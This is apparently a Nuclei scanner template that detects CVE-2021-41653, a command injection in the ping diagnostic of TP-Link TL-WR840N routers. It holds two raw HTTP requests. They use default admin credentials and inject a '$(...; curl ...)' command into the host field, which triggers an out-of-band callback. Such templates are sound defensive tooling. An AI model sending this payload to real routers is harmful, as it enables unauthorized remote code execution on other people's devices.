id: CVE-2021-41653

info:
  name: TP-Link - OS Command Injection
  author: gy741
  severity: critical
  description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.
  reference:
    - https://k4m1ll0.com/cve-2021-41653.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41653
    - https://www.tp-link.com/us/press/security-advisory/
    - http://tp-link.com
  remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109".
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41653
    cwe-id: CWE-94
    epss-score: 0.94766
    cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: tp-link
    product: tl-wr840n_firmware
  tags: cve,cve2021,tplink,rce,router
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /cgi?2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Referer: http://{{Hostname}}/mainFrame.htm
        Cookie: Authorization=Basic YWRtaW46YWRtaW4=

        [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
        dataBlockSize=64
        timeout=1
        numberOfRepetitions=4
        host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')
        X_TP_ConnName=ewan_ipoe_d
        diagnosticsState=Requested
      - |
        POST /cgi?7 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Referer: http://{{Hostname}}/mainFrame.htm
        Cookie: Authorization=Basic YWRtaW46YWRtaW4=

        [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"